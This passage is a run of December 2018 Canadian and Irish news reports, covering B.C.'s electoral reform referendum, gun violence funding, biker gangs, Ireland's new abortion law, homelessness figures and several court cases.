minority government New Democrats and the Greens wanted to implement a system that would have given more power to political parties than voters. "People like to know democracy is in their hands," he said. "I think people saw through this convoluted referendum, which was set up to be confusing." Green Leader Andrew Weaver said he was disappointed with the result but accepts it as a clear signal voters support first past the post. Electoral reform has struck out with B.C. voters, he added. "I think we're not going to be raising that issue any time soon," said Weaver. The deadline for ballots to be received by Elections BC was extended by one week to Dec. 7 because of the postal strike. In the first referendum in 2005, about 57 per cent of ballots were cast in favour of proportional representation, which did not meet the threshold of 60 per cent to make it binding on the government. Four years later, 61 per cent voted in favour of first past the post. The latest referendum was binding and the winner declared by a simple majority of votes cast. Under proportional representation, the number of seats held by a party largely matches the percentage of votes its candidates receive versus the first-past-the-post model in which a candidate with the most votes in a district wins and then represents the riding. In addition to asking voters which system they support, the ballot also included a second question that allowed voters to rank their preference for three types of proportional representation. Other provinces, including Prince Edward Island and Ontario, have also held referendums on their electoral systems but neither made any changes. In Prince Edward Island in 2016, the Liberal government decided not to honour a provincial plebiscite on electoral reform, in which only 36 per cent of eligible voters took part. Premier Wade MacLauchlan said it was debatable whether the result reflected the will of Islanders, and announced another vote will be held during the 2019 provincial election. TORONTO - The federal government has not ruled out further restrictions or even an outright ban on handguns to combat gun-related violence, Organized Crime Reduction Minister Bill Blair said on Thursday as he announced funding to address youth crime in Toronto. Hey there, time traveller! This article was published 20/12/2018 (1078 days ago), so information in it may no longer be current. Minister of Border Security and Organized Crime Reduction Bill Blair responds to a question during Question Period in the House of Commons, Friday, October 19, 2018 in Ottawa. The federal government has not ruled out further restrictions or even an outright ban on handguns to combat gun-related violence, Blair said on Thursday as he announced funding to address youth crime in Toronto.THE CANADIAN PRESS/Adrian Wyld TORONTO - The federal government has not ruled out further restrictions or even an outright ban on handguns to combat gun-related violence, Organized Crime Reduction Minister Bill Blair said on Thursday as he announced funding to address youth crime in Toronto. The spike in shootings the city has seen this year has echoes across the country and is partly the result of vulnerable youth getting drawn into street gangs, said Blair, who has been consulting on potential law changes. "We are considering any and all measures," Blair said. "(But) if all we focus on is putting people in jail and not preventing these crimes, we will continue to see an escalation of violence." The federal money for Toronto comes at a time when Premier Doug Ford is under fire for cutting funding for various social and community supports for young people. Participants at the announcement stressed the importance of all three levels of government working to deal with the crime issue. In one initiative, Ottawa said it would give Toronto $6.7 million over five years for a community "healing project" that aims to prevent crime by tackling the complex causes underlying gun violence. The program aims to train 250 young people to help more than 1,000 peers build skills, increase mental health resiliency and cope with violence. "This isn't just throwing money at a problem," Blair said. "The program that we are funding today will make a real and lasting and positive difference in these kids' lives." The second initiative will see Ottawa give Toronto police $400,000 over two years to help officers work with vulnerable youth in eight priority neighbourhoods. Officers would be assigned to a neighbourhood to gain insight into the community and build trust in relationships. "This kind of community outreach is both effective and efficient in preventing crime," Blair said. Mayor John Tory, who said the city had been "devastated" by violence this year that includes the Greektown mass shooting, welcomed the federal support. Tory said he hoped the announcement was only the first in a series of city requests to Ottawa worth a total of $30 million. "Crime prevention and intervention at the community level are important parts of combating the violence that we have seen in our city," Tory said. "We are committed to working together and to doing everything we can to stop the loss of life and address the root causes of the violence." Police Chief Mark Saunders, who has said the surge in shootings this year was largely due to a rise in gang violence, said Toronto remains one of the safest cities. However, Saunders said young people have to see alternatives to joining gangs, and combating gun violence has to go beyond enforcement. "We can't arrest our way out of this," Saunders said. "If we have stronger relations with our communities, then our solutions become sustainable." Toronto Liberal MP Adam Vaughan made an impassioned plea for whatever action is needed to ensure young people don't join gangs. "If we give up on these kids, they will give up on us," Vaughan said. "When that happens, the despair we see and the violence we see on city streets is what the yellow tape has been all about this summer." HALIFAX - The Hells Angels have re-established an evolving presence in Atlantic Canada, although experts say they have not expanded their roster of full-patch members since first reappearing in the region more than two years ago. Hey there, time traveller! This article was published 20/12/2018 (1077 days ago), so information in it may no longer be current. The Hells Angels have re-established an evolving presence in Atlantic Canada, although experts say they have not expanded their roster of full-patch members since first re-appearing in the region two years ago. Members of the Hells Angels arrive for a national gathering in Saint-Charles-sur-Richelieu, Que., on Friday, August 10, 2018. THE CANADIAN PRESS/Graham Hughes HALIFAX - The Hells Angels have re-established an evolving presence in Atlantic Canada, although experts say they have not expanded their roster of full-patch members since first reappearing in the region more than two years ago. Police and organized crime experts say it's not clear why the country's most powerful outlaw biker gang has not found any local prospects worthy of full membership, but confirm the Angels are retrenching after their former Halifax chapter was smashed by police in 2001. Stephen Schneider, a criminology professor at Saint Mary's University who has written extensively on organized crime, believes the establishment of a new puppet club in the last year the Red Devils is a significant sign of intent. "The Red Devils is pretty much their sort of AAA affiliate club internationally," said Schneider. "So this is a signal that the Hells Angels have not given up and that they are really serious about their presence in Atlantic Canada." The Red Devils have set up chapters in Moncton, N.B., and in Halifax. The members of the Halifax Red Devils chapter, which was set up in July, were recruited from two other biker clubs, the Gatekeepers and the Darksiders, according to RCMP Staff Sgt. Guylaine Cottreau of the Criminal Intelligence Service Nova Scotia. "They were known to the Hells Angels and they came from the already existing support clubs," said Cottreau. "We have no Hells Angels prospects ... but they still have a good footprint in the province with their support clubs." Cottreau said there had been a Nova Scotia prospects chapter, but it fell below six members this fall, and they've since become prospects for the Hells Angels in New Brunswick, where a Hells Angels Nomads club includes some full patch members that were transplanted to that province. She said in addition to the Red Devils, Nova Scotia has a series of other outlaw gangs, including Darksiders clubs in Dartmouth and the Annapolis Valley, Sedition clubs in Fall River and Weymouth, and Highlanders clubs in Antigonish, Pictou County, and Cape Breton. Experts believe the Angels are looking to expand territory and crack the drug trade in a region with several thousand kilometres of coastline, which makes it easier to import drugs. The only so-called group of one percenters the elite outlaw bikers in Nova Scotia is the Bacchus Motorcycle Club, which appears to have reached a detente region-wide with the Angels. It was also declared a criminal organization in a July ruling by a Nova Scotia Supreme Court judge a move that has the potential to put a damper on its activities because it establishes tougher sentencing for crimes carried out to benefit the club. Meanwhile, a traditional rival group for the Hells Angels, the Outlaws, has also pushed into the region with support clubs known as the Black Pistons in Fredericton and in Sydney, N.S., where they set up shop earlier this year. The Outlaws and Bacchus also operate in Newfoundland, along with several Hells Angels support clubs. "Right now it is peaceful, however they (Outlaws) are the main rival group to the Hells Angels so there is potential there (for violence)," Cottreau said. Schneider said he finds it surprising that the Outlaws are trying to move into Atlantic Canada after failing to emerge as a significant threat to the Hells Angels in Ontario. "They have chutzpah I'll give them that," Schneider said. "They are still in there battling and trying to establish territory." In Prince Edward Island there are two Bacchus club chapters and one affiliate chapter of the Hells Angels. RCMP Cpl. Andy Cook said the Angels are down to six prospect members from 10 in P.E.I. and none of the bikers are full-patch. He said stepped up police enforcement likely led to some members leaving the club. "Some of the incidents were probably not very attractive to the Hells Angels who are frequently trying to portray themselves in a positive light in the media," he said. While it's believed the Port of Halifax is the main prize coveted by the Angels, police say they're not aware of any activity there. Schneider, who recently completed a study for the federal government on organized crime in marine ports, said he hasn't seen any direct evidence either. "I didn't see any known Hells Angels members working on the docks in Halifax, but that's not saying they aren't, or there aren't associates," he said. Schneider said the Angels' influence has suffered setbacks through police enforcement actions such as the arrest in July of prominent New Brunswick member Emery Martin on 10 drug-related offences. However he believes it was the success of a crackdown years before against the biker group in Quebec that has had the most impact. In April 2009, Operation SharQc resulted in 156 arrests and the closure of several of the biker gang's clubhouses, however many of the court cases eventually fell through and Schneider said the Hells Angels have seen a resurgence in Quebec that has implications for the Atlantic region. "They are in a better position to help Atlantic Canada establish chapters and puppet clubs. Having the Red Devils set up in Moncton is significant because they are a Tier 1 puppet group that has long been associated with the Montreal chapter of the Hells Angels." Cottreau said police are aware of the emerging threat and observed a Quebec Hells Angels presence in the region over the summer. She said police will move to enforce the law against the Angels where and when they can. "We are trying to disrupt and dismantle them but it is a big task. They are a pretty well established organization." SYDNEY, N.S. - Hundreds of Cape Breton call centre workers laid off just weeks before Christmas may now have jobs to return to in the new year. Hey there, time traveller! This article was published 19/12/2018 (1078 days ago), so information in it may no longer be current. SYDNEY, N.S. - Hundreds of Cape Breton call centre workers laid off just weeks before Christmas may now have jobs to return to in the new year. "There will be Christmas there is some hope here," said Michelle Hillier, who worked at ServiCom Canada for five years before being forced on the unemployment line earlier this month along with more than 600 colleagues. "If the jobs are there, I'm walking right back through the doors again." The reopening of the call centre would be a significant gain for the economy of Cape Breton, a region that struggles with perennially high unemployment. An Iowa-based businessman offered $1.5-million for the idled call centre during an auction this week that was part of bankruptcy proceedings in the United States. The Sydney, N.S., operation was abruptly closed Dec. 6 after ServiCom's U.S. parent, JNET Communications, filed for bankruptcy protection. Anthony Marlowe of Marlowe Companies Inc. (MCI) outbid two other interested buyers and was expected to travel to the region and meet with workers Thursday. "I was thrilled to find out that somebody is buying it and we could all have our jobs back," said Chauncey Sullivan, who worked at the call centre for almost three years. "It was such a huge loss for a small community." She said the mass layoff was "heartbreaking" but that "Capers" or Cape Bretoners have pulled together to support the workers. The community has banded together to raise money for the laid off workers, with donations flooding in and the Salvation Army providing food and payments for home heating oil and electricity bills. Most of the workers were owed about four weeks in back pay when the call centre abruptly shuttered, a liability MCI Canada said rests with ServiCom. Justin Boutilier, who worked at the call centre for more than a decade, said while it's great for the community and the regional economy to see the call centre reopen there's a "flip side." "A lot of people are owed thousands of dollars ... it leaves a little bit of a sour taste," he said. Boutilier said some laid off workers who have qualified for employment insurance may go back to school or pursue training rather than return to the call centre. Brett Murphy, who worked at the call centre for two years, said the laid off workers are struggling to pay bills. "If this happened in July, it would be a little bit easier, but people are hurting this close to Christmas," he said. "It's great to know that hundreds of people will get their jobs back, we just need to get through this time." In a statement Tuesday, MCI Canada said the call centre will reopen as early as Jan. 2, 2019 under a new name: The Sydney Call Centre Inc. The company also confirmed that MCI will enter a nine-year lease for the shuttered facility. Marlowe said it was clear that the bankruptcy proceedings in the United States were unlikely to produce any money for the workers. He said his company would offer sign-on and retention bonuses, but no figures were mentioned. "We hope that this will help lessen some of the financial impacts of the closing," he said in a statement. Marlowe's company was in the process of buying the call centre's assets when it was shut down by the bankruptcy proceedings. He said his company will provide new and ongoing employment for the Sydney area. Again, no numbers were mentioned. "We are in a unique position to be able to quickly bring jobs back to Sydney, provide a valuable service to customers and add talented employees and capacity to the MCI portfolio," Marlowe said. "Expanding into a new country in less than 30 days is a big undertaking, but we have a great team and technology in place to get it done ... We have every confidence that the team in Sydney will further fuel our organization's success." KINGSTON, Ont. - Speaking to a small crowd of well-dressed Liberal donors, Prime Minister Justin Trudeau spoke out against division and polarization even as a larger crowd of angry protesters was kept far away from the posh event. Hey there, time traveller! This article was published 19/12/2018 (1078 days ago), so information in it may no longer be current. KINGSTON, Ont. - Speaking to a small crowd of well-dressed Liberal donors, Prime Minister Justin Trudeau spoke out against division and polarization even as a larger crowd of angry protesters was kept far away from the posh event. Trudeau was the main attraction for the Liberal fundraiser in Kingston, Ont., Wednesday evening, where an intimate crowd of several dozen people paid up to $400 to hear from their leader and queue up for a photo. The prime minister told them he plans to run on a platform of positivity in the October 2019 election, despite what he described as the growing popularity of using division and fear for political gain. "Any time there is a challenge or a conflict, it's easy for someone to stand up and say, 'It's their fault because they live on the wrong side of the river or the other side of the border or are of a different background or speak a different language,," he said. "That could potentially be a way to short-term political gain, but it's not a path towards being able to solve our challenges, it's not a path toward being able to govern responsibly." Meanwhile, down several winding corridors of the St. Lawrence College venue, a crowd that outnumbered the Liberal ticket-holders shouted chants of protest against the government. Some were upset over the government legislating striking Canada Post workers back to work, while others voiced their concern over Canada signing the United Nations migration pact. Still others were counter-rallying in support of immigration. They were not allowed anywhere near the prime minister, however, as he arrived via a back entryway. Before Trudeau's arrival, the fire alarm in the building went off twice, but fundraiser guests simply went on sipping their wine and beer and continued their conversations. They delivered polite applause as Trudeau listed his government's recent accomplishments: signing a new free-trade agreement with the United States and Mexico; ratifying the Comprehensive and Progressive Agreement for Trans Pacific Partnership (CPTPP); restoring rail service to Churchill, Man.; and legalizing cannabis. He asked attendees to continue to donate and volunteer to ensure his team gets another four years in government. "Everything we do reminds us that there's always more to do," he said. The riding of Kingston and the Islands, where the fundraiser was held, has long been considered a Liberal stronghold, having been held by the party since 1988. Earlier in the evening, Trudeau stopped in Napanee, Ont., in the federal riding of HastingsLennox and Addington. The prime minister delivered remarks at the nomination of Mike Bossio, the Liberal MP whose win in 2015 by just 225 votes against Conservative incumbent Daryl Kramp was considered an upset a coup for the Liberals. Trudeau shared a similar message at the Napanee event, telling the crowd he would not partake in the politics of division. Follow @ReporterTeresa on Twitter. Pharmaceutical companies GlaxoSmithKline (GSK) and Pfizer have said that it is too early to say what the implications are for their Irish staff after a partnership between the firms to create a 10.85bn consumer health division. GSK plans to split into two businesses, one for prescription drugs and vaccines, the other for over-the-counter products, after forming the joint venture with Pfizers consumer health division. It will lead to the creation of a consumer health company with a market share of 7.3% which is well ahead of its nearest rivals Johnson & Johnson, Bayer and Sanofi, all on around 4%. GSK and Pfizer will combine their consumer health businesses, with sales of 9.8bn (10.85bn) and 68%-owned by the British company, in an all-equity transaction. GSK employs 1,700 people in Dungarvan, Cork, Dublin and Sligo, with 90% of the worlds Panadol produced in the Waterford site. GSK also produces Voltorol, Sensodyne and Corsodyl in its consumer health division. GSK announced in August that it was to close its Sligo site by 2021, where it manufactures skincare products, with the loss of 165 jobs. However, staff are said to be confident its Dungarvan facility will form a major part of the new ventures operations in the future. GSKs Cork staff will be unaffected by the deal, as it forms part of the firms pharmaceutical division. A spokeswoman for GSK said: Subject to approvals, we would expect to close the deal in the second half of 2019. The separation is expected to take place within three years of this so we will have a lot of time to understand the implications, if any, for our sites in Ireland. Until then, it is very much business as usual and we will continue to keep our employees informed over the coming months and years as things progress. Pfizer also said the impact locally could not be gauged until the deal went through. A spokeswoman said: Its too early to comment on whether there will be any local impact as the closing of this transaction between Pfizer and GSK is subject to customary closing conditions, including required antitrust [competition] approvals and receipt of cost shareholder approval. For Pfizer, the deal resolves the issue of what to do with its consumer health division, which includes after an abortive attempt to sell it outright earlier this year. The firm is one of Irelands largest private employers, with a workforce of more than 3,200 in six locations, including 600 in Ringaskiddy in Cork, from where it exports bulk pharmaceuticals, the active ingredients in its medications for humans and animals. However, no consumer products, which include Advil painkillers and Centrum vitamins, are manufactured at its Irish plants. Shares in GSK rose more than 3.75%, while Pfizer shares rose 0.75%. Additional reporting Reuters The British Irish Chamber of Commerce has welcomed the Government's contingency plans for Brexit but has urged the UK to pull back from the brink of trade chaos. Commenting following the release of the Government's plans to address a hard Brexit, John McGrane the Director-General of the British Irish Chamber of Commerce, said the plans announced show the stark reality of the disruption ahead. "We welcome government action of course," he said, "and we will work with officials and state agencies to help deliver as many practical supports as possible for all businesses. Brexit's impact is being keenly felt in the Irish jobs market. There has been a 7% rise in the number of available new jobs this year, according to Morgan McKinley's latest employment monitor for November. The number of people seeking new roles is down, however, by almost 30% over the month and 25% over the year as the fight for talent intensifies. Trayc Keevans from Morgan McKinley says a large number of new roles coming on stream are in industries affected by Britain's exit from the EU: Ms Keevans said: "Over the last month, we have seen the biggest spike in demand has been in the legal and trade compliance and custom duty areas and that is reflective of a skills requirement as Brexit is coming ever near. "Another area has been in engineering and manufacturing, and particularly in the pharmaceutical space, we are also anticipating the stockpiling of drugs in some of those pharmaceutical companies in anticipation of potential shortages that might occur." Ibec has called for an extended Brexit transition period - even in the case of the UK leaving the EU with no deal agreed. Reacting to fresh no-deal Brexit contingency plan requirements from the European Commission, the employers' body said more meaningful measures are needed to support businesses, including a comprehensive range of state aid supports in order to protect companies and jobs. "Reckless time-wasting by the UK government is now forcing businesses to activate costly no-deal contingency plans. A comprehensive Brexit deal has been agreed and signed off by the UK Cabinet. If the UK government is unable to ratify it, it should defer or cancel Brexit," said Ibec's director of policy and public affairs Fergal O'Brien. "Adjusting to a radically new trading relationship with the UK at the end of March is not possible and not realistic. Acute trade bottlenecks would be created overnight. Jobs and businesses would be immediately on the line. Companies are preparing insofar as they can, but the economy is simply not in a position to deal with such an unprecedented and profound shock. An extended transition period would be required, including in the case of no-deal," he said. Last month Ibec forecast 4.5% growth for the Irish economy next year, solely based on the UK sealing a positive Brexit deal. Elsewhere, industry representative group the Killybegs Fisherman's Organisation has said a no-deal Brexit would be an "unmitigated disaster" for Irish fisheries. "Irelands two biggest fisheries, mackerel and prawns, are massively dependent on access to UK waters with the overall percentage of stocks currently fished from UK waters by the Irish fleet standing at more than 30%. We cannot countenance a situation whereby this access might stop at 11pm on March 29 next due to a hard Brexit," said KFO chief executive Sean O'Donoghue. Meanwhile, a survey by PwC of Irish-based finance chiefs has shown that while 57% are upbeat about the near-term prospects for the Irish economy, only a third are "very prepared" for Brexit, in any form. The Irish Fairy Door company has secured funding of 1.5m that is to accelerate the firms planned international expansion. The fresh investment follows the Dublin company last month signing a game changer global animation deal with Canadian firm, DHX Media that is to create animated characters from the Irish Fairy Doors host of fairy characters. The firm is anticipating that sales of its flagship product, the Irish Fairy Door will be up 20% this year on 2017 and CEO, Oisin Barry said that the 1.5m funding will accelerate success well into the future. The 1.5m in funding comes from the Davy EI Tax Relief Fund 2017 which is managed by BES Management DAC, the joint venture company owned by Davy and BDO which manages the Davy EII Funds. The companys miniature fairy doors are enjoyed by children in almost one million households worldwide and has enjoyed an endorsement in the past from Kourtney Kardashian. Founder director of Irish Fairy Door Company, Niamh Barry said that the co-founders will retain their control of the firm. She said: Yes, very much so. The new investor will have the right to convert to a minority supporting position in the company at the end of the four year period. The fresh injection of funding will also go towards the firms plan to digitizing its popular Worry Plaque product. Director of BEC Management DAC, Andrew Bourg said that the Davy EIIS Fund is "truly impressed by the growth and international expansion the team has achieved in such a short period of time and we look forward to assisting them to accelerate their international expansion plans. The firm currently employs 11 full-time staff and Ms Sherwin Barry said that the company intends to employ an additional five next year and a further 10 in 2020. As a result of the animation deal, DHX Media subsidiary, WildBrain is to produce short-form content designed to engage and inspire children with the magic of The Irish Fairy Door Companys brand, including an original animation series and live action videos that bring the fairy world to life. Ms Barry said that the live action part of the series will be out by February 2019 and the animation is due out July 2019. Ryanair has donated 100,000 to ISPCC Childline, its 2018 chosen Irish charity partner. The airline concluded a year of fundraising activities with a plane naming and holiday competition. A number of fundraising initiatives were held throughout 2018 including a digital donation day hosted on Ryanair.com and a 'Name the Plane & Fly to Spain' donation competition, which was won by the Johnson family from Dundalk. Ryanair thanked all of its customers who supported its charity partnership over the past three years, who have helped raise over 300,000 for Childline. "Ryanair is proud to partner with ISPCC Childline and support the invaluable work they do to help children in need and the 100,000 donated will enable them to continue to provide a vital range of services," said Ryanairs Kenny Jacobs. "We have held a number of fundraising efforts in conjunction with Childline throughout 2018 and we wish to thank everyone who supported our events. "We look forward to hosting further charity events in 2019." Childline will receive over 1,000 calls on Christmas Day this year and Ryanairs support will help ensure the service is there for children 24 hours a day, every day. "Childline costs 3.5 million to run every year and relies on corporate and public donations for over 90 per cent of its funding," ISPCC CEO John Church said. "Through their enthusiastic commitment to supporting the service, Ryanair, its staff and customers have helped to keep the lights on at Childline and help to ensure we are there for every child and young person in Ireland at every hour of every day and night." Abortion has become officially legal in Ireland after President Michael D Higgins signed the Bill into law today. The Health (Regulation of Termination of Pregnancy) Bill 2018 will allow access to abortion on request for up to 12 weeks and on restricted grounds beyond this from January 1. More than 3,000 doctors were issued with clinical guidelines on abortion services yesterday. GPs will be able to provide terminations via medication for women who are under nine weeks pregnant. A woman will have three consultations with the doctor with a three-day delay between the first and second meeting. Amnesty International welcomed the signing into law of the Bill, saying it was a "historical milestone" for Ireland. We welcome Irelands new abortion law as both a historical milestone for this country and an inspiration for millions of people globally," said Sorcha Tunney, Campaign Coordinator of Its Time campaign for Amnesty International Ireland. "Irelands abortion law was one of the most restrictive in the world, and today that is finally ending. Today is also a day to reflect on where we have come from. For over 35 years, women and girls have been denied access to safe and legal abortion beyond when their life was at risk. Hundreds of thousands of women and girls were forced to travel, forced into secrecy and shame. They were gravely denied their human rights. There are still significant flaws in the legislation that will create barriers to women accessing the care they need. "We look forward to the full implementation of the Act but will be looking to engage with the Department of Health in its three-year review. We will continue our campaigning to make sure the law is human rights compliant, and that pregnant people are not prevented from accessing the healthcare they need, Ms Tunney said. Just shy of 10,000 people are likely to be homeless for Christmas after new figures showed an increase in the number of people in emergency accommodation - the highest ever tally for the festive season. The most recent homelessness figures, recorded last month, showed 9,968 people in emergency accommodation, including 3,811 children. Minister for Housing, Eoghan Murphy, admitted: It is very disappointing to see more children in emergency accommodation as we enter into Christmas week. The figures showed a rise of 19 families nationally in emergency accommodation and one family in Dublin. Nationally there was an overall increase of 158 Adults and 86 children. While Minister Murphy stressed that tackling the crisis was an absolute priority, the fact that monthly figures have hovered below 10,000 for much of the year prompted renewed criticism of the government. Focus Ireland Director of Advocacy, Mike Allen, said the problem had not been normalised, but there was a danger it might. There is a risk it could be, he said. It does not look good. This figure is for the third week in November and that is around the time they were putting in new additional beds in Dublin. But the continued increase in families - words fail in terms of how you describe how bad that is going. He said December could see a fluctuation in homelessness as some people and families may stay for a short period with wider family. He also said the number of families becoming homeless in Dublin in the last four months had risen, despite the ministers claim of a fall in the number of families presenting as homeless in the capital in the same period. The overall picture is very clear, Mr Allen said. The situation is continuing to deteriorate very rapidly. The [government] policies are not having the effect we would like. Focus Ireland also said its own figures showed one child became homeless every four hours last month in Dublin. The figures show 96 families with 184 children became newly homeless in Dublin in November. Two viable explosive devices have been defused in Co. Louth. They were found in a house in Drogheda yesterday evening. At around 3 o'clock yesterday afternoon two improvised explosive devices were found at a house on Mary Street in Drogheda. Following a request from An Garda Siochana, an Army Bomb Disposal Team was called to the scene at around 6pm. A safety cordon was put in place while nearby houses were evacuated while the operation was ongoing. Two viable explosive devices were identified, made safe and removed for further investigation. At 9pm, the scene was declared safe. Earlier this week, a viable explosive device was found in Meath, which was believed to be destined for use in a feud between two gangs in Drogheda. The final report from the MacLochlainn Commission of Investigation into the fatal shooting of Ronan MacLochlainn by members of An Garda Siochana has found that the shooting was justified. However, the report found that there were "serious deficiencies" in the garda investigation into the incident, as well as in relation to record keeping, the disclosure of information, and other matters. Mr MacLochlainn was killed during an attempted armed robbery of a Securicor van in Ashford, Co Wicklow in May 1998. The Commission was established in August 2014 to undertake an investigation into the shooting of Mr MacLochlainn by members of the gardai. The report, which was published today by the Minister for Justice Charlie Flanagan, notes several developments since the shooting 20 years ago, the establishment of the Garda Siochana Ombudsman Commission (GSOC), which would be responsible for investigating a similar incident if it were to happen today. Mary Rose Gearty, SC, was the Sole Member of the Commission which was established after a case was taken by Mr MacLochlainn's partner, Grainne Nic Gibb, at the European Court of Human Rights (ECtHR). She had alleged that Ireland had breached the European Convention of Human Rights in respect of the investigation into his death. The Commission of Investigation was established in settlement and striking out of that application, with the ECtHR agreeing this was an appropriate method by which to vindicate the rights of the family and of the public. In a summary of the report, it concluded that An Garda Siochana should have "adopted and practised more rigorous training for its senior management". "This would have encouraged recognition by its members of the need for accountability and real independence in an investigation," the report says, in addition to possibly prompting better records and systems being maintained, which "ensured that full and appropriate disclosure was made by the organisation and thereby minimised the potential for theories of wrongdoing to fester". "These measures could have saved the family of Mr MacLochlainn the long ordeal of seeking answers that this process became," the report said. It would also have prevented civilian witnesses and members of the gardai from enduring a distressing investigation long after the events had occurred, it found. Speaking today following the publication of the report, Minister Flanagan said: I am pleased to today publish the full and final report of the MacLochlainn Commission of Investigation and am grateful to the sole member, Mary Rose Gearty SC, for the comprehensive report produced. We must acknowledge all those who have been affected by these events the partner, family and friends of Mr MacLochlainn, as well as the Garda members involved and the members of the public who witnessed these events. "I hope that the full investigation carried out by the Commission and its clear findings will bring a degree of closure to all concerned, he said. A Turkish speaking content reviewer at a consultancy firm here was sacked earlier this year after she allegedly called a Kurdish work colleague a terrorist. In the case, the woman was sacked within three months of being employed in November 2017 due to her unacceptable behaviour and negative attitude in the workplace. The woman has unsuccessfully sued for unfair dismissal at the Workplace Relations Commission (WRC) against the recruitment firm that identified her for the post. In its submission to the WRC, the recruitment firm referenced a number of unpleasant incidents that she was involved in in relation to internal Turkish politics specifically regarding people of a Kurdish origin. The recruitment firm stated that allegations of calling a Kurdish fellow employee a terrorist were made as well as negative remarks regarding Kurdish political organisations". The recruitment firm stated: These remarks caused great upset to some fellow employees. The recruitment firm also stated that the woman was also uncooperative and disruptive during training. On February 15th last the woman received a phone call telling her that her contract was terminated and to return all her security details and badges. In her case, the woman alleged that she was dismissed on pregnancy grounds. She stated that she informed her supervisor at the consultancy firm that she was pregnant and would not be able to do 24-hour shifts. She stated that a few weeks later she had a back pain and her manager told her to stay at home the next day. The woman stated that she was sacked on February 15th 2018 and there was no warning or explanation given. In its submission to the WRC, the recruitment firm stated that it was unaware that the worker was pregnant when the decision to dismiss her, at the behest of the client firm, was taken on the grounds of her misconduct. In his ruling, WRC Adjudication Officer, Michael McEntee stated that the recruitment firm is not the correct respondent in the case particularly in a case where the pregnancy/maternity issue is being raised so centrally. Mr McEntee stated that as a result, the unfair dismissal case against the recruitment agency cannot be deemed to be well founded and must fail. The National Museum of Ireland appears to have accepted it did not apply proper procedures when it suspended one of its assistant keepers over complaints about sexual harassment, it has been claimed in the High Court. Dr Andrew Halpin, Yellowmeadows Avenue, Clondalkin, Dublin, has brought proceedings against his employer challenging the decision to suspend him as assistant keeper of Irish antiquities following media reports in February 2017 of alleged sexual harassment. "The National Museum of Ireland seems to be tacitly saying it did not apply proper procedures", his counsel Frank Callanan said on Thursday when counsel for the museum asked for another adjournment so that there could be correspondence between the parties. Mr Callanan complained they had failed to deliver a replying affidavit as directed by the court last month. Oisin Quinn SC, for the Museum, said the position was more nuanced than that. There were a number of difficulties including that certain employees no longer work for the museum and there was now an issue over whether the matter should be dealt with under the civil service code or under another policy of the museum. His side wanted to deal with these matters through correspondence with Mr Halpin's solicitors and could do so over coming weeks, he said. Mr Callanan said the fact remained his client was suffering enormous damage to his reputation in circumstances where the museum appeared to be saying now that proper procedures had not been applied. Ms Justice Leonie Reynolds said she would adjourn to the New Year. However, she told Mr Quinn Mr Callanan had made it clear they were not interested in further correspondence and wanted an affidavit from the museum replying to an earlier Halpin side affidavit. That should be provided by January 15 and the case could come back to court the following week. The State has yet to announce if it will appeal a High Court ruling in favour of Graham Dwyer which forms part of his bid to overturn his conviction for the murder of childcare worker Elaine O'Hara. Earlier this month Mr Justice Tony O'Connor found the Cork-born architect is entitled to certainly limited declarations concerning provisions of Ireland's data retention laws. The judge found that sections of Ireland's retention laws concerning information generated by telephones contravene both EU law and findings of the European Court of Human Rights. Ireland's data retention laws provide for an indiscriminate retention regime, the Judge said. As well as being an important ruling in respect to Dwyer's appeal the State had argued the action also had major implications in relation to the authorities' ability to retain, access and use information generated by mobile phones in the investigation of serious criminal activities. The case was briefly mentioned before the High Court this morning when Mr Justice O'Connor was told the State wishes to make submissions on the court proposed final orders and declarations. Brian Murray SC, for the State said his client's submissions will be in relation to sections of data retention laws and their compatibility with both EU Law and the European Convention on Human Rights. Counsel said his side's submissions, and any reply by Dwyer's legal team would take a few hours to hear. Discussions on this issue had taken place with Dwyer's lawyers, counsel said. Counsel said his clients were also considering seeking a stay on the final orders in the event of an appeal. Counsel also told the court that since the judgement was delivered requests by the authorities for access to retained telephone data were still being made in regards to issues where a person's life is at risk, or in matters of state security. Agreeing to such requests was in accordance with the court's judgement, counsel said. Counsel said that requests for telephone data in relation to the investigation, prevention and detection of crime were not being acceded to. However a request for access to retained data in one criminal investigation had been made to a district court judge under different legislation to that which had been challenged by Dwyer, counsel said. Ronan Kennedy Bl for Dwyer said his side would consider what the stat's submissions and would reply in due course. Mr Justice O'Connor agreed to adjourn the matter to a date in January. Dwyer, who denies killing Ms O'Hara, claimed that data gathered from his phone, under the 2011 Communications (Retention of Data) Act, should not have been used at his 2015 trial before the Central Criminal Court. The data, which was generated by Dwyer's work phone, placed the phone at specific places at particular times and dates. That data was used to link Dwyer to another mobile phone the prosecution told the jury during his high profile trial that he acquired and used to contact Ms O'Hara, whom he had an affair with. The use of the data, Dwyer claimed, was unconstitutional and breached his rights under the EU Charter and the European Convention on Human Rights, including his right to privacy. Dwyer's lawyers argued the Act was introduced to give effect to a 2006 EU directive concerning the retention and use of data. The European Court of Justice (ECJ) found in 2014 that the directive was invalid and that position was further strengthened in subsequent rulings by that court in 2016. He claimed the 2011 Act suffered from the same flaws identified by the ECJ. The State opposed his arguments and said Dwyer's application was misconceived and should be dismissed. It argued the laws that allow the authorities to access and utilise retained data, are extremely important in the detection, prevention and investigation of serious crime. in his judgement Mr Justice O'Connor said he was satisfied that the 2011 Act provides for an indiscriminate retention regime. The ECJ, the judge said, had found that such regimes are prohibited under Articles 7 and 8 of the European Charter, and the court said it is prepared to make declarations that sections of the 2011 Act are inconsistent with EU law. He said the ECJ had found that the fighting of serious crimes cannot justify the general and indiscriminate retention regime. The Judge added that practices of how Garda apply for and obtain mobile phone data were not enough to satisfy the decisions of the European Courts in regards to access. The sections of the 2011 Act concerning access to retained data contravene EU law and the European Court of Human Rights because there was no prior review by a court of administrative authority for access to telephone data. GPs in 24 of the 26 counties in the Republic of Ireland have indicated that they are willing to perform medical abortions. The new legislation allowing terminations comes into effect on January 1, 2019. Four dogs have been seized as part of a joint operation between Revenues Customs service and the DSPCA at Dublin Port in the last week, it has been announced. Three dogs were seized when two women travelling to the UK were stopped and questioned by Revenue Customs officers. The women did not have the correct documentation for the dogs, all lurchers, nor were they microchipped as required under the Animal Health and Welfare Act 2013. Separately, a foxhound dog was seized when Revenue Customs officers stopped and questioned a man who had travelled from the UK. He did not have the correct documentation and the dog was not microchipped. All four dogs have been transferred into the care of the DSPCA, where they are receiving veterinary attention. Follow-up investigations are underway. If you have any information about smuggling please contact Revenue's Confidential Freephone number 1800 295 295. Update: Security at the Family Law Courts in Dublin is under review after a man allegedly produced an imitation gun and suspect device during a hearing. A man was arrested after the incident at the Phoenix House complex in the Smithfield area this morning. A major security alert was triggered, with 